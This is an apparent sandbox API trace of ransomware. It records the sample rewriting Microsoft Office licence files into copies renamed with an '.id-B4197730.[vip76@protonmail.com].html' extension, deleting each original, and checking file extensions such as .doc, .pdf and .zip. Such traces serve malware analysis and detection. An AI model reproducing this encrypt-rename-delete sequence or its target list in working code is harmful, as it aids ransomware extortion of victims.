	[0200.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms")) returned 0x220
	[0200.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.459] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.459] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500
	[0200.460] GetLastError () returned 0x0
	[0200.460] ReadFile (in: hFile=0x594, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2d83, lpOverlapped=0x0) returned 1
	[0200.462] WriteFile (in: hFile=0x500, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2d90, lpOverlapped=0x0) returned 1
	[0200.463] ReadFile (in: hFile=0x594, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.463] WriteFile (in: hFile=0x500, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x126, lpOverlapped=0x0) returned 1
	[0200.463] SetEndOfFile (hFile=0x500) returned 1
	[0200.463] CloseHandle (hObject=0x500) returned 1
	[0200.464] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.464] SetEndOfFile (hFile=0x594) returned 1
	[0200.466] CloseHandle (hObject=0x594) returned 1
	[0200.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms")) returned 1
	[0200.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0200.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0200.468] lstrlenW (lpString=".doc") returned 4
	[0200.468] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.468] lstrlenW (lpString=".docx") returned 5
	[0200.468] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.468] lstrlenW (lpString=".pdf") returned 4
	[0200.468] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.468] lstrlenW (lpString=".xls") returned 4
	[0200.468] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.468] lstrlenW (lpString=".xlsx") returned 5
	[0200.468] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.468] lstrlenW (lpString=".ppt") returned 4
	[0200.468] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0200.468] lstrlenW (lpString=".zip") returned 4
	[0200.468] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.468] lstrlenW (lpString=".rar") returned 4
	[0200.468] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.468] lstrlenW (lpString=".bz2") returned 4
	[0200.468] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.468] lstrlenW (lpString=".7z") returned 3
	[0200.468] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0200.468] lstrlenW (lpString=".dbf") returned 4
	[0200.468] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0200.468] lstrlenW (lpString=".1cd") returned 4
	[0200.468] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0200.468] lstrlenW (lpString=".jpg") returned 4
	[0200.468] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0200.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0200.469] lstrlenW (lpString=".doc") returned 4
	[0200.469] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.469] lstrlenW (lpString=".docx") returned 5
	[0200.469] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.469] lstrlenW (lpString=".pdf") returned 4
	[0200.469] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.469] lstrlenW (lpString=".xls") returned 4
	[0200.469] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.469] lstrlenW (lpString=".xlsx") returned 5
	[0200.469] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.469] lstrlenW (lpString=".ppt") returned 4
	[0200.469] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0200.469] lstrlenW (lpString=".zip") returned 4
	[0200.469] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.469] lstrlenW (lpString=".rar") returned 4
	[0200.469] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.469] lstrlenW (lpString=".bz2") returned 4
	[0200.469] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.469] lstrlenW (lpString=".7z") returned 3
	[0200.469] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0200.469] lstrlenW (lpString=".dbf") returned 4
	[0200.469] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0200.469] lstrlenW (lpString=".1cd") returned 4
	[0200.469] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0200.470] lstrlenW (lpString=".jpg") returned 4
	[0200.470] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.470] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.470] lstrlenW (lpString="O365HomePremR_Subscription5-pl.xrm-ms") returned 37
	[0200.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.471] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11199) returned 1
	[0200.471] CloseHandle (hObject=0x594) returned 1
	[0200.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms")) returned 0x220
	[0200.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.471] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.471] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500
	[0200.472] GetLastError () returned 0x0
	[0200.472] ReadFile (in: hFile=0x594, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2bbf, lpOverlapped=0x0) returned 1
	[0200.474] WriteFile (in: hFile=0x500, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0200.475] ReadFile (in: hFile=0x594, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.475] WriteFile (in: hFile=0x500, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0200.475] SetEndOfFile (hFile=0x500) returned 1
	[0200.475] CloseHandle (hObject=0x500) returned 1
	[0200.476] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.476] SetEndOfFile (hFile=0x594) returned 1
	[0200.479] CloseHandle (hObject=0x594) returned 1
	[0200.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.479] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms")) returned 1
	[0200.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0200.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0200.480] lstrlenW (lpString=".doc") returned 4
	[0200.480] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.480] lstrlenW (lpString=".docx") returned 5
	[0200.480] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.480] lstrlenW (lpString=".pdf") returned 4
	[0200.480] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.480] lstrlenW (lpString=".xls") returned 4
	[0200.481] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.481] lstrlenW (lpString=".xlsx") returned 5
	[0200.481] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.481] lstrlenW (lpString=".ppt") returned 4
	[0200.481] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0200.481] lstrlenW (lpString=".zip") returned 4
	[0200.481] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.481] lstrlenW (lpString=".rar") returned 4
	[0200.481] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.481] lstrlenW (lpString=".bz2") returned 4
	[0200.481] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.481] lstrlenW (lpString=".7z") returned 3
	[0200.481] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0200.481] lstrlenW (lpString=".dbf") returned 4
	[0200.481] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0200.481] lstrlenW (lpString=".1cd") returned 4
	[0200.481] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0200.481] lstrlenW (lpString=".jpg") returned 4
	[0200.481] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0200.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0200.481] lstrlenW (lpString=".doc") returned 4
	[0200.481] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.481] lstrlenW (lpString=".docx") returned 5
	[0200.481] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.481] lstrlenW (lpString=".pdf") returned 4
	[0200.482] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.482] lstrlenW (lpString=".xls") returned 4
	[0200.482] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.482] lstrlenW (lpString=".xlsx") returned 5
	[0200.482] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.482] lstrlenW (lpString=".ppt") returned 4
	[0200.482] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0200.482] lstrlenW (lpString=".zip") returned 4
	[0200.482] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.482] lstrlenW (lpString=".rar") returned 4
	[0200.482] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.482] lstrlenW (lpString=".bz2") returned 4
	[0200.482] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.482] lstrlenW (lpString=".7z") returned 3
	[0200.482] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0200.482] lstrlenW (lpString=".dbf") returned 4
	[0200.482] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0200.482] lstrlenW (lpString=".1cd") returned 4
	[0200.482] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0200.482] lstrlenW (lpString=".jpg") returned 4
	[0200.482] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.482] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.483] lstrlenW (lpString="O365HomePremR_Subscription5-ppd.xrm-ms") returned 38
	[0200.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.483] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=26541) returned 1
	[0200.483] CloseHandle (hObject=0x594) returned 1
	[0200.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms")) returned 0x220
	[0200.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.484] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.484] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500
	[0200.485] GetLastError () returned 0x0
	[0200.485] ReadFile (in: hFile=0x594, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x67ad, lpOverlapped=0x0) returned 1
	[0200.487] WriteFile (in: hFile=0x500, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x67b0, lpOverlapped=0x0) returned 1
	[0200.489] ReadFile (in: hFile=0x594, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.489] WriteFile (in: hFile=0x500, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x120, lpOverlapped=0x0) returned 1
	[0200.489] SetEndOfFile (hFile=0x500) returned 1
	[0200.489] CloseHandle (hObject=0x500) returned 1
	[0200.489] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.489] SetEndOfFile (hFile=0x594) returned 1
	[0200.492] CloseHandle (hObject=0x594) returned 1
	[0200.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.493] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms")) returned 1
	[0200.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0200.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0200.856] lstrlenW (lpString=".doc") returned 4
	[0200.856] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.856] lstrlenW (lpString=".docx") returned 5
	[0200.856] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.856] lstrlenW (lpString=".pdf") returned 4
	[0200.856] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.857] lstrlenW (lpString=".xls") returned 4
	[0200.857] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.857] lstrlenW (lpString=".xlsx") returned 5
	[0200.857] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.857] lstrlenW (lpString=".ppt") returned 4
	[0200.857] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0200.857] lstrlenW (lpString=".zip") returned 4
	[0200.857] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.857] lstrlenW (lpString=".rar") returned 4
	[0200.857] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.857] lstrlenW (lpString=".bz2") returned 4
	[0200.857] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.857] lstrlenW (lpString=".7z") returned 3
	[0200.857] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0200.857] lstrlenW (lpString=".dbf") returned 4
	[0200.857] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0200.857] lstrlenW (lpString=".1cd") returned 4
	[0200.857] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0200.857] lstrlenW (lpString=".jpg") returned 4
	[0200.857] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0200.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0200.858] lstrlenW (lpString=".doc") returned 4
	[0200.858] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.858] lstrlenW (lpString=".docx") returned 5
	[0200.858] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.858] lstrlenW (lpString=".pdf") returned 4
	[0200.858] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.858] lstrlenW (lpString=".xls") returned 4
	[0200.858] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.858] lstrlenW (lpString=".xlsx") returned 5
	[0200.858] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.858] lstrlenW (lpString=".ppt") returned 4
	[0200.858] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0200.858] lstrlenW (lpString=".zip") returned 4
	[0200.858] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.858] lstrlenW (lpString=".rar") returned 4
	[0200.858] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.858] lstrlenW (lpString=".bz2") returned 4
	[0200.858] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.858] lstrlenW (lpString=".7z") returned 3
	[0200.858] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0200.858] lstrlenW (lpString=".dbf") returned 4
	[0200.858] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0200.858] lstrlenW (lpString=".1cd") returned 4
	[0200.858] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
